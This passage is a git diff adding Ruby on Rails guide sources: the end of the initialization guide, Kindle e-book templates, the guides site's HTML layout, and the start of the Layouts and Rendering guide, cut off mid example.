+prepare the application (like initializing the logger) while the `finisher`
+initializers (like building the middleware stack) are run last. The `railtie`
+initializers are the initializers which have been defined on the `Rails::Application`
+itself and are run between the `bootstrap` and `finishers`.
+
+After this is done we go back to `Rack::Server`.
+
+### Rack: lib/rack/server.rb
+
+Last time we left when the `app` method was being defined:
+
+```ruby
+def app
+  @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
+end
+...
+private
+  def build_app_and_options_from_config
+    if !::File.exist? options[:config]
+      abort "configuration #{options[:config]} not found"
+    end
+
+    app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
+    self.options.merge! options
+    app
+  end
+
+  def build_app_from_string
+    Rack::Builder.new_from_string(self.options[:builder])
+  end
+```
+
+At this point `app` is the Rails app itself (a middleware), and what
+happens next is Rack will call all the provided middlewares:
+
+```ruby
+def build_app(app)
+  middleware[options[:environment]].reverse_each do |middleware|
+    middleware = middleware.call(self) if middleware.respond_to?(:call)
+    next unless middleware
+    klass = middleware.shift
+    app = klass.new(app, *middleware)
+  end
+  app
+end
+```
+
+Remember, `build_app` was called (by `wrapped_app`) in the last line of `Server#start`.
+Here's how it looked like when we left:
+
+```ruby
+server.run wrapped_app, options, &blk
+```
+
+At this point, the implementation of `server.run` will depend on the
+server you're using. For example, if you were using Puma, here's what
+the `run` method would look like:
+
+```ruby
+...
+DEFAULT_OPTIONS = {
+  :Host => '0.0.0.0',
+  :Port => 8080,
+  :Threads => '0:16',
+  :Verbose => false
+}
+
+def self.run(app, options = {})
+  options = DEFAULT_OPTIONS.merge(options)
+
+  if options[:Verbose]
+    app = Rack::CommonLogger.new(app, STDOUT)
+  end
+
+  if options[:environment]
+    ENV['RACK_ENV'] = options[:environment].to_s
+  end
+
+  server   = ::Puma::Server.new(app)
+  min, max = options[:Threads].split(':', 2)
+
+  puts "Puma #{::Puma::Const::PUMA_VERSION} starting..."
+  puts "* Min threads: #{min}, max threads: #{max}"
+  puts "* Environment: #{ENV['RACK_ENV']}"
+  puts "* Listening on tcp://#{options[:Host]}:#{options[:Port]}"
+
+  server.add_tcp_listener options[:Host], options[:Port]
+  server.min_threads = min
+  server.max_threads = max
+  yield server if block_given?
+
+  begin
+    server.run.join
+  rescue Interrupt
+    puts "* Gracefully stopping, waiting for requests to finish"
+    server.stop(true)
+    puts "* Goodbye!"
+  end
+
+end
+```
+
+We won't dig into the server configuration itself, but this is
+the last piece of our journey in the Rails initialization process.
+
+This high level overview will help you understand when your code is
+executed and how, and overall become a better Rails developer. If you
+still want to know more, the Rails source code itself is probably the
+best place to go next.
diff --git a/guides/source/kindle/copyright.html.erb b/guides/source/kindle/copyright.html.erb
new file mode 100644
index 0000000000..bd51d87383
--- /dev/null
+++ b/guides/source/kindle/copyright.html.erb
@@ -0,0 +1 @@
+<%= render 'license' %>
\ No newline at end of file
diff --git a/guides/source/kindle/layout.html.erb b/guides/source/kindle/layout.html.erb
new file mode 100644
index 0000000000..fd8746776b
--- /dev/null
+++ b/guides/source/kindle/layout.html.erb
@@ -0,0 +1,27 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/kindle.css" />
+
+</head>
+<body class="guide">
+
+  <% if content_for? :header_section %>
+    <%= yield :header_section %>
+    <div class="pagebreak"></div>
+  <% end %>
+
+  <% if content_for? :index_section %>
+    <%= yield :index_section %>
+    <div class="pagebreak"></div>
+  <% end %>
+
+  <%= yield.html_safe %>
+</body>
+</html>
diff --git a/guides/source/kindle/rails_guides.opf.erb b/guides/source/kindle/rails_guides.opf.erb
new file mode 100644
index 0000000000..63eeb007d7
--- /dev/null
+++ b/guides/source/kindle/rails_guides.opf.erb
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<package xmlns="http://www.idpf.org/2007/opf" version="2.0" unique-identifier="RailsGuides">
+<metadata>
+  <meta name="cover" content="cover" />
+  <dc-metadata xmlns:dc="http://purl.org/dc/elements/1.1/">
+
+       <dc:title>Ruby on Rails Guides (<%= @version || "master@#{@edge[0, 7]}" %>)</dc:title>
+
+  	<dc:language>en-us</dc:language>
+  	<dc:creator>Ruby on Rails</dc:creator>
+  	<dc:publisher>Ruby on Rails</dc:publisher>
+  	<dc:subject>Reference</dc:subject>
+  	<dc:date><%= Time.now.strftime('%Y-%m-%d') %></dc:date>
+
+    <dc:description>These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together.</dc:description>
+  </dc-metadata>
+  <x-metadata>
+    <output content-type="application/x-mobipocket-subscription-magazine" encoding="utf-8"/>
+  </x-metadata>
+</metadata>
+
+<manifest>
+  <!-- HTML content files [mandatory] -->
+  <% documents_flat.each do |document| %>
+    <item id="<%= document['url'] %>" media-type="text/html" href="<%= document['url'] %>" />
+  <% end %>
+
+  <% %w{toc.html credits.html welcome.html copyright.html}.each do |url| %>
+    <item id="<%= url %>" media-type="text/html" href="<%= url %>" />
+  <% end %>
+
+  <item id="toc" media-type="application/x-dtbncx+xml" href="toc.ncx" />
+
+  <item id="cover" media-type="image/jpg" href="images/rails_guides_kindle_cover.jpg"/>
+</manifest>
+
+<spine toc="toc">
+  <itemref idref="toc.html" />
+  <itemref idref="welcome.html" />
+  <itemref idref="credits.html" />
+  <itemref idref="copyright.html" />
+  <% documents_flat.each do |document| %>
+    <itemref idref="<%= document['url'] %>" />
+  <% end %>
+</spine>
+
+<guide>
+	<reference type="toc" title="Table of Contents" href="toc.html"></reference>
+</guide>
+
+</package>
diff --git a/guides/source/kindle/toc.html.erb b/guides/source/kindle/toc.html.erb
new file mode 100644
index 0000000000..f310edd3a1
--- /dev/null
+++ b/guides/source/kindle/toc.html.erb
@@ -0,0 +1,24 @@
+<% content_for :page_title do %>
+Ruby on Rails Guides
+<% end %>
+
+<h1>Table of Contents</h1>
+<div id="toc">
+  <ul><li><a href="welcome.html">Welcome</a></li></ul>
+<% documents_by_section.each_with_index do |section, i| %>
+  <h3><%= "#{i + 1}." %> <%= section['name'] %></h3>
+  <ul>
+    <% section['documents'].each do |document| %>
+      <li>
+        <a href="<%= document['url'] %>"><%= document['name'] %></a>
+        <% if document['work_in_progress']%>(WIP)<% end %>
+      </li>
+    <% end %>
+  </ul>  
+<% end %>
+<hr />
+<ul>
+  <li><a href="credits.html">Credits</a></li>
+  <li><a href="copyright.html">Copyright &amp; License</a></li>
+</ul>
+</div>
diff --git a/guides/source/kindle/toc.ncx.erb b/guides/source/kindle/toc.ncx.erb
new file mode 100644
index 0000000000..5094fea4ca
--- /dev/null
+++ b/guides/source/kindle/toc.ncx.erb
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE ncx PUBLIC "-//NISO//DTD ncx 2005-1//EN"
+	"http://www.daisy.org/z3986/2005/ncx-2005-1.dtd">
+
+<ncx xmlns="http://www.daisy.org/z3986/2005/ncx/" version="2005-1" xml:lang="en-US">
+<head>
+  <meta name="dtb:uid" content="RailsGuides"/>
+  <meta name="dtb:depth" content="2"/>
+  <meta name="dtb:totalPageCount" content="0"/>
+  <meta name="dtb:maxPageNumber" content="0"/>
+</head>
+<docTitle><text>Ruby on Rails Guides</text></docTitle>
+<docAuthor><text>docrails</text></docAuthor>
+<navMap>
+  <navPoint playOrder="0" class="periodical" id="periodical">
+    <navLabel>
+      <text>Table of Contents</text>
+    </navLabel>
+    <content src="toc.html"/>
+
+    <navPoint class="section" id="welcome" playOrder="1">
+      <navLabel>
+        <text>Introduction</text>
+      </navLabel>
+      <content src="welcome.html"/>
+
+      <navPoint class="article" id="welcome" playOrder="2">
+        <navLabel>
+          <text>Welcome</text>
+        </navLabel>
+        <content src="welcome.html"/>
+      </navPoint>
+      <navPoint class="article" id="credits" playOrder="3">
+        <navLabel><text>Credits</text></navLabel>
+        <content src="credits.html"/>
+      </navPoint>
+      <navPoint class="article" id="copyright" playOrder="4">
+        <navLabel><text>Copyright &amp; License</text></navLabel>
+        <content src="copyright.html"/>
+      </navPoint>
+    </navPoint>
+
+    <% play_order = 4 %>
+    <% documents_by_section.each_with_index do |section, section_no| %>
+      <navPoint class="section" id="chapter_<%= section_no + 1 %>" playOrder="<% play_order +=1 %>">
+        <navLabel>
+          <text><%= section['name'] %></text>
+        </navLabel>
+        <content src="<%=section['documents'].first['url'] %>"/>
+
+        <% section['documents'].each_with_index do |document, document_no| %>
+          <navPoint class="article" id="_<%=section_no+1%>.<%=document_no+1%>" playOrder="<%=play_order +=1 %>">
+            <navLabel>
+              <text><%= document['name'] %></text>
+            </navLabel>
+            <content src="<%=document['url'] %>"/>
+          </navPoint>
+        <% end %>
+      </navPoint>
+    <% end %>
+
+  </navPoint>
+</navMap>
+</ncx>
diff --git a/guides/source/kindle/welcome.html.erb b/guides/source/kindle/welcome.html.erb
new file mode 100644
index 0000000000..ef3397f58f
--- /dev/null
+++ b/guides/source/kindle/welcome.html.erb
@@ -0,0 +1,7 @@
+<%= render 'welcome' %>
+
+<h3>Kindle Edition</h3>
+
+<div>
+  The Kindle Edition of the Rails Guides should be considered a work in progress. Feedback is really welcome. Please see the "Feedback" section at the end of each guide for instructions.
+</div>
diff --git a/guides/source/layout.html.erb b/guides/source/layout.html.erb
new file mode 100644
index 0000000000..bb50761b30
--- /dev/null
+++ b/guides/source/layout.html.erb
@@ -0,0 +1,138 @@
+<!DOCTYPE html>
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+<meta name="viewport" content="width=device-width, initial-scale=1"/>
+
+<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title>
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/fixes.css" />
+
+<link href="images/favicon.ico" rel="shortcut icon" type="image/x-icon" />
+</head>
+<body class="guide">
+  <% if @edge %>
+  <div>
+    <img src="images/edge_badge.png" alt="edge-badge" id="edge-badge" />
+  </div>
+  <% end %>
+  <div id="topNav">
+    <div class="wrapper">
+      <strong class="more-info-label">More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <span class="red-button more-info-button">
+        More Ruby on Rails
+      </span>
+      <ul class="more-info-links s-hidden">
+        <li class="more-info"><a href="http://weblog.rubyonrails.org/">Blog</a></li>
+        <li class="more-info"><a href="http://guides.rubyonrails.org/">Guides</a></li>
+        <li class="more-info"><a href="http://api.rubyonrails.org/">API</a></li>
+        <li class="more-info"><a href="http://stackoverflow.com/questions/tagged/ruby-on-rails">Ask for help</a></li>
+        <li class="more-info"><a href="https://github.com/rails/rails">Contribute on GitHub</a></li>
+      </ul>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <ul class="nav">
+        <li><a class="nav-item" href="index.html">Home</a></li>
+        <li class="guides-index guides-index-large">
+          <a href="index.html" id="guidesMenu" class="guides-index-item nav-item">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <% ['L', 'R'].each do |position| %>
+              <dl class="<%= position %>">
+              <% docs_for_menu(position).each do |section| %>
+                <dt><%= section['name'] %></dt>
+                <% finished_documents(section['documents']).each do |document| %>
+                <dd><a href="<%= document['url'] %>"><%= document['name'] %></a></dd>
+                <% end %>
+              <% end %>
+              </dl>
+            <% end %>
+          </div>
+        </li>
+        <li><a class="nav-item" href="contributing_to_ruby_on_rails.html">Contribute</a></li>
+        <li><a class="nav-item" href="credits.html">Credits</a></li>
+        <li class="guides-index guides-index-small">
+          <select class="guides-index-item nav-item">
+            <option value="index.html">Guides Index</option>
+            <% docs_for_menu.each do |section| %>
+              <optgroup label="<%= section['name'] %>">
+                <% finished_documents(section['documents']).each do |document| %>
+                  <option value="<%= document['url'] %>"><%= document['name'] %></option>
+                <% end %>
+              </optgroup>
+            <% end %>
+          </select>
+        </li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <%= yield :header_section %>
+
+      <%= yield :index_section %>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <%= yield %>
+
+        <h3>Feedback</h3>
+        <p>
+          You're encouraged to help improve the quality of this guide.
+        </p>
+        <p>
+          Please contribute if you see any typos or factual errors.
+          To get started, you can read our <%= link_to 'documentation contributions', 'http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation' %> section.
+        </p>
+        <p>
+          You may also find incomplete content, or stuff that is not up to date.
+          Please do add any missing documentation for master. Make sure to check
+          <%= link_to 'Edge Guides','http://edgeguides.rubyonrails.org' %> first to verify
+          if the issues are already fixed or not on the master branch.
+          Check the <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %>
+          for style and conventions.
+        </p>
+        <p>
+          If for whatever reason you spot something to fix but cannot patch it yourself, please
+          <%= link_to 'open an issue', 'https://github.com/rails/rails/issues' %>.
+        </p>
+        <p>And last but not least, any kind of discussion regarding Ruby on Rails
+          documentation is very welcome in the <%= link_to 'rubyonrails-docs mailing list', 'https://groups.google.com/forum/#!forum/rubyonrails-docs' %>.
+        </p>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <%= render 'license' %>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/jquery.min.js"></script>
+  <script type="text/javascript" src="javascripts/responsive-tables.js"></script>
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter.js"></script>
+  <script type="text/javascript">
+    syntaxhighlighterConfig = {
+      autoLinks: false,
+    };
+    $(guidesIndex.bind);
+  </script>
+</body>
+</html>
diff --git a/guides/source/layouts_and_rendering.md b/guides/source/layouts_and_rendering.md
new file mode 100644
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--- /dev/null
+++ b/guides/source/layouts_and_rendering.md
@@ -0,0 +1,1330 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Layouts and Rendering in Rails
+==============================
+
+This guide covers the basic layout features of Action Controller and Action View.
+
+After reading this guide, you will know:
+
+* How to use the various rendering methods built into Rails.
+* How to create layouts with multiple content sections.
+* How to use partials to DRY up your views.
+* How to use nested layouts (sub-templates).
+
+--------------------------------------------------------------------------------
+
+Overview: How the Pieces Fit Together
+-------------------------------------
+
+This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.
+
+In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.
+
+Creating Responses
+------------------
+
+From the controller's point of view, there are three ways to create an HTTP response:
+
+* Call `render` to create a full response to send back to the browser
+* Call `redirect_to` to send an HTTP redirect status code to the browser
+* Call `head` to create a response consisting solely of HTTP headers to send back to the browser
+
+### Rendering by Default: Convention Over Configuration in Action
+
+You've heard that Rails promotes "convention over configuration". Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to valid routes. For example, if you have this code in your `BooksController` class:
+
+```ruby
+class BooksController < ApplicationController
+end
+```
+
+And the following in your routes file:
+
+```ruby
+resources :books
+```
+
+And you have a view file `app/views/books/index.html.erb`:
+
+```html+erb
+<h1>Books are coming soon!</h1>
+```
+
+Rails will automatically render `app/views/books/index.html.erb` when you navigate to `/books` and you will see "Books are coming soon!" on your screen.
+
+However a coming soon screen is only minimally useful, so you will soon create your `Book` model and add the index action to `BooksController`:
+
+```ruby
+class BooksController < ApplicationController
+  def index
+    @books = Book.all
+  end
+end
+```
+
+Note that we don't have explicit render at the end of the index action in accordance with "convention over configuration" principle. The rule is that if you do not explicitly render something at the end of a controller action, Rails will automatically look for the `action_name.html.erb` template in the controller's view path and render it. So in this case, Rails will render the `app/views/books/index.html.erb` file.
+
+If we want to display the properties of all the books in our view, we can do so with an ERB template like this:
+
+```html+erb
+<h1>Listing Books</h1>
+
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Summary</th>
+    <th></th>
+    <th></th>
+    <th></th>
+  </tr>
+
+<% @books.each do |book| %>
+  <tr>
+    <td><%= book.title %></td>
+    <td><%= book.content %></td>
+    <td><%= link_to "Show", book %></td>
+    <td><%= link_to "Edit", edit_book_path(book) %></td>
+    <td><%= link_to "Remove", book, method: :delete, data: { confirm: "Are you sure?" } %></td>
+  </tr>
+<% end %>
+</table>
+
+<br>
+
+<%= link_to "New book", new_book_path %>
+```
+
+NOTE: The actual rendering is done by subclasses of `ActionView::TemplateHandlers`. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are `.erb` for ERB (HTML with embedded Ruby), and `.builder` for Builder (XML generator).
+
+### Using `render`
+
+In most cases, the `ActionController::Base#render` method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of `render`. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.
+
+TIP: If you want to see the exact results of a call to `render` without needing to inspect it in a browser, you can call `render_to_string`. This method takes exactly the same options as `render`, but it returns a string instead of sending a response back to the browser.
+
+#### Rendering an Action's View
+
+If you want to render the view that corresponds to a different template within the same controller, you can use `render` with the name of the view:
+
+```ruby
+def update
+  @book = Book.find(params[:id])
+  if @book.update(book_params)
+    redirect_to(@book)
+  else
+    render "edit"
+  end
+end
+```
+
+If the call to `update` fails, calling the `update` action in this controller will render the `edit.html.erb` template belonging to the same controller.
+
+If you prefer, you can use a symbol instead of a string to specify the action to render:
+
+```ruby
+def update
+  @book = Book.find(params[:id])
+  if @book.update(book_params)
+    redirect_to(@book)
+  else
+    render :edit
+  end
+end
+```
+
+#### Rendering an Action's Template from Another Controller
+
+What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with `render`, which accepts the full path (relative to `app/views`) of the template to render. For example, if you're running code in an `AdminProductsController` that lives in `app/controllers/admin`, you can render the results of an action to a template in `app/views/products` this way:
+
+```ruby
+render "products/show"
+```
+
+Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the `:template` option (which was required on Rails 2.2 and earlier):
+
+```ruby
+render template: "products/show"
+```
+
+#### Rendering an Arbitrary File
+
+The `render` method can also use a view that's entirely outside of your application:
+
+```ruby
+render file: "/u/apps/warehouse_app/current/app/views/products/show"
+```
+
+The `:file` option takes an absolute file-system path. Of course, you need to have rights
+to the view that you're using to render the content.
+
+NOTE: Using the `:file` option in combination with users input can lead to security problems
+since an attacker could use this action to access security sensitive files in your file system.
+
+NOTE: By default, the file is rendered using the current layout.
+
+TIP: If you're running Rails on Microsoft Windows, you should use the `:file` option to
+render a file, because Windows filenames do not have the same format as Unix filenames.
+
+#### Wrapping it up
+
+The above three ways of rendering (rendering another template within the controller, rendering a template within another controller and rendering an arbitrary file on the file system) are actually variants of the same action.
+
+In fact, in the BooksController class, inside of the update action where we want to render the edit template if the book does not update successfully, all of the following render calls would all render the `edit.html.erb` template in the `views/books` directory:
+
+```ruby
+render :edit
+render action: :edit
+render "edit"
+render "edit.html.erb"
+render action: "edit"
+render action: "edit.html.erb"
+render "books/edit"
+render "books/edit.html.erb"
+render template: "books/edit"
+render template: "books/edit.html.erb"
+render "/path/to/rails/app/views/books/edit"
+render "/path/to/rails/app/views/books/edit.html.erb"
+render file: "/path/to/rails/app/views/books/edit"
+render file: "/path/to/rails/app/views/books/edit.html.erb"
+```
+
+Which one you use is really a matter of style and convention, but the rule of thumb is to use the simplest one that makes sense for the code you are writing.
+
+#### Using `render` with `:inline`
+
+The `render` method can do without a view completely, if you're willing to use the `:inline` option to supply ERB as part of the method call. This is perfectly valid:
+
+```ruby
+render inline: "<% products.each do |p| %><p><%= p.name %></p><% end %>"
+```
+
+WARNING: There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.
+
+By default, inline rendering uses ERB. You can force it to use Builder instead with the `:type` option:
+
+```ruby
+render inline: "xml.p {'Horrid coding practice!'}", type: :builder
+```
+
+#### Rendering Text
+
+You can send plain text - with no markup at all - back to the browser by using
+the `:plain` option to `render`:
+
+```ruby
+render plain: "OK"
+```
+
+TIP: Rendering pure text is most useful when you're responding to Ajax or web
+service requests that are expecting something other than proper HTML.
+
+NOTE: By default, if you use the `:plain` option, the text is rendered without
+using the current layout. If you want Rails to put the text into the current
+layout, you need to add the `layout: true` option and use the `.text.erb`
+extension for the layout file.
+
+#### Rendering HTML
+
+You can send an HTML string back to the browser by using the `:html` option to
+`render`:
+
+```ruby
+render html: "<strong>Not Found</strong>".html_safe
+```
+
+TIP: This is useful when you're rendering a small snippet of HTML code.
+However, you might want to consider moving it to a template file if the markup
+is complex.
+
+NOTE: When using `html:` option, HTML entities will be escaped if the string is not marked as HTML safe by using `html_safe` method.
+
+#### Rendering JSON
+
+JSON is a JavaScript data format used by many Ajax libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:
+
+```ruby
+render json: @product
+```
+
+TIP: You don't need to call `to_json` on the object that you want to render. If you use the `:json` option, `render` will automatically call `to_json` for you.
+
+#### Rendering XML
+
+Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:
+
+```ruby
+render xml: @product
+```
+
+TIP: You don't need to call `to_xml` on the object that you want to render. If you use the `:xml` option, `render` will automatically call `to_xml` for you.
+
+#### Rendering Vanilla JavaScript
+
+Rails can render vanilla JavaScript:
+
+```ruby
+render js: "alert('Hello Rails');"
+```
+
+This will send the supplied string to the browser with a MIME type of `text/javascript`.
+
+#### Rendering raw body
+
+You can send a raw content back to the browser, without setting any content
+type, by using the `:body` option to `render`:
+
+```ruby
+render body: "raw"
+```
+
+TIP: This option should be used only if you don't care about the content type of
+the response. Using `:plain` or `:html` might be more appropriate most of the
+time.
+
+NOTE: Unless overridden, your response returned from this render option will be
+`text/html`, as that is the default content type of Action Dispatch response.
+
+#### Options for `render`
+
+Calls to the `render` method generally accept five options:
+
+* `:content_type`
+* `:layout`
+* `:location`
+* `:status`
+* `:formats`
+
+##### The `:content_type` Option
+
+By default, Rails will serve the results of a rendering operation with the MIME content-type of `text/html` (or `application/json` if you use the `:json` option, or `application/xml` for the `:xml` option.). There are times when you might like to change this, and you can do so by setting the `:content_type` option:
+
+```ruby
+render file: filename, content_type: "application/rss"
+```
+
+##### The `:layout` Option
+
+With most of the options to `render`, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.
+
+You can use the `:layout` option to tell Rails to use a specific file as the layout for the current action:
+
+```ruby
+render layout: "special_layout"
+```
+
+You can also tell Rails to render with no layout at all:
+
+```ruby
+render layout: false
+```
+
+##### The `:location` Option
+
+You can use the `:location` option to set the HTTP `Location` header:
+
+```ruby
+render xml: photo, location: photo_url(photo)
+```
+
+##### The `:status` Option
+
+Rails will automatically generate a response with the correct HTTP status code (in most cases, this is `200 OK`). You can use the `:status` option to change this:
+
+```ruby
+render status: 500
+render status: :forbidden
+```
+
+Rails understands both numeric status codes and the corresponding symbols shown below.
+
+| Response Class      | HTTP Status Code | Symbol                           |
+| ------------------- | ---------------- | -------------------------------- |
+| **Informational**   | 100              | :continue                        |
+|                     | 101              | :switching_protocols             |
+|                     | 102              | :processing                      |
+| **Success**         | 200              | :ok                              |
+|                     | 201              | :created                         |
+|                     | 202              | :accepted                        |
+|                     | 203              | :non_authoritative_information   |
+|                     | 204              | :no_content                      |
+|                     | 205              | :reset_content                   |
+|                     | 206              | :partial_content                 |
+|                     | 207              | :multi_status                    |
+|                     | 208              | :already_reported                |
+|                     | 226              | :im_used                         |
+| **Redirection**     | 300              | :multiple_choices                |
+|                     | 301              | :moved_permanently               |
+|                     | 302              | :found                           |
+|                     | 303              | :see_other                       |
+|                     | 304              | :not_modified                    |
+|                     | 305              | :use_proxy                       |
+|                     | 307              | :temporary_redirect              |
+|                     | 308              | :permanent_redirect              |
+| **Client Error**    | 400              | :bad_request                     |
+|                     | 401              | :unauthorized                    |
+|                     | 402              | :payment_required                |
+|                     | 403              | :forbidden                       |
+|                     | 404              | :not_found                       |
+|                     | 405              | :method_not_allowed              |
+|                     | 406              | :not_acceptable                  |
+|                     | 407              | :proxy_authentication_required   |
+|                     | 408              | :request_timeout                 |
+|                     | 409              | :conflict                        |
+|                     | 410              | :gone                            |
+|                     | 411              | :length_required                 |
+|                     | 412              | :precondition_failed             |
+|                     | 413              | :payload_too_large               |
+|                     | 414              | :uri_too_long                    |
+|                     | 415              | :unsupported_media_type          |
+|                     | 416              | :range_not_satisfiable           |
+|                     | 417              | :expectation_failed              |
+|                     | 421              | :misdirected_request             |
+|                     | 422              | :unprocessable_entity            |
+|                     | 423              | :locked                          |
+|                     | 424              | :failed_dependency               |
+|                     | 426              | :upgrade_required                |
+|                     | 428              | :precondition_required           |
+|                     | 429              | :too_many_requests               |
+|                     | 431              | :request_header_fields_too_large |
+|                     | 451              | :unavailable_for_legal_reasons   |
+| **Server Error**    | 500              | :internal_server_error           |
+|                     | 501              | :not_implemented                 |
+|                     | 502              | :bad_gateway                     |
+|                     | 503              | :service_unavailable             |
+|                     | 504              | :gateway_timeout                 |
+|                     | 505              | :http_version_not_supported      |
+|                     | 506              | :variant_also_negotiates         |
+|                     | 507              | :insufficient_storage            |
+|                     | 508              | :loop_detected                   |
+|                     | 510              | :not_extended                    |
+|                     | 511              | :network_authentication_required |
+
+NOTE:  If you try to render content along with a non-content status code
+(100-199, 204, 205 or 304), it will be dropped from the response.
+
+##### The `:formats` Option
+
+Rails uses the format specified in the request (or `:html` by default). You can
+change this passing the `:formats` option with a symbol or an array:
+
+```ruby
+render formats: :xml
+render formats: [:json, :xml]
+```
+
+If a template with the specified format does not exist an `ActionView::MissingTemplate` error is raised.
+
+#### Finding Layouts
+
+To find the current layout, Rails first looks for a file in `app/views/layouts` with the same base name as the controller. For example, rendering actions from the `PhotosController` class will use `app/views/layouts/photos.html.erb` (or `app/views/layouts/photos.builder`). If there is no such controller-specific layout, Rails will use `app/views/layouts/application.html.erb` or `app/views/layouts/application.builder`. If there is no `.erb` layout, Rails will use a `.builder` layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.
+
+##### Specifying Layouts for Controllers
+
+You can override the default layout conventions in your controllers by using the `layout` declaration. For example:
+
+```ruby
+class ProductsController < ApplicationController
+  layout "inventory"
+  #...
+end
+```
+
+With this declaration, all of the views rendered by the `ProductsController` will use `app/views/layouts/inventory.html.erb` as their layout.
+
+To assign a specific layout for the entire application, use a `layout` declaration in your `ApplicationController` class:
+
+```ruby
+class ApplicationController < ActionController::Base
+  layout "main"
+  #...
+end
+```
+
+With this declaration, all of the views in the entire application will use `app/views/layouts/main.html.erb` for their layout.
+
+##### Choosing Layouts at Runtime
+
+You can use a symbol to defer the choice of layout until a request is processed:
+
+```ruby
+class ProductsController < ApplicationController
+  layout :products_layout
+
+  def show
+    @product = Product.find(params[:id])
+  end
+
+  private
+    def products_layout
+      @current_user.special? ? "special" : "products"
+    end
+
+end
+```
+
+Now, if the current user is a special user, they'll get a special layout when viewing a product.
+
+You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the `controller` instance, so the layout can be determined based on the current request:
+
+```ruby
+class ProductsController < ApplicationController
+  layout Proc.new { |controller| controller.request.xhr? ? "popup" : "application" }
+end
+```
+
+##### Conditional Layouts
+
+Layouts specified at the controller level support the `:only` and `:except` options. These options take either a method name, or an array of method names, corresponding to method names within the controller:
+
+```ruby
+class ProductsController < ApplicationController
+  layout "product", except: [:index, :rss]
+end
+```
+
+With this declaration, the `product` layout would be used for everything but the `rss` and `index` methods.
+
+##### Layout Inheritance
+
+Layout declarations cascade downward in the hierarchy, and more specific layout declarations always override more general ones. For example:
+
+* `application_controller.rb`
+
+    ```ruby
+    class ApplicationController < ActionController::Base
+      layout "main"
+    end
+    ```
+
+* `articles_controller.rb`
+
+    ```ruby
+    class ArticlesController < ApplicationController
+    end
+    ```
+
+* `special_articles_controller.rb`
+
+    ```ruby
+    class SpecialArticlesController < ArticlesController
+      layout "special"
+    end
+    ```
+
+* `old_articles_controller.rb`
+
+    ```ruby
+    class OldArticlesController < SpecialArticlesController
+      layout false
+
+      def show
+        @article = Article.find(params[:id])
+      end
+
+      def index
+        @old_articles = Article.older
+        render layout: "old"
+      end
+      # ...
+    end
+    ```
+
+In this application:
+
+* In general, views will be rendered in the `main` layout
+* `ArticlesController#index` will use the `main` layout
+* `SpecialArticlesController#index` will use the `special` layout
+* `OldArticlesController#show` will use no layout at all
+* `OldArticlesController#index` will use the `old` layout
+
+##### Template Inheritance
+
+Similar to the Layout Inheritance logic, if a template or partial is not found in the conventional path, the controller will look for a template or partial to render in its inheritance chain. For example:
+
+```ruby
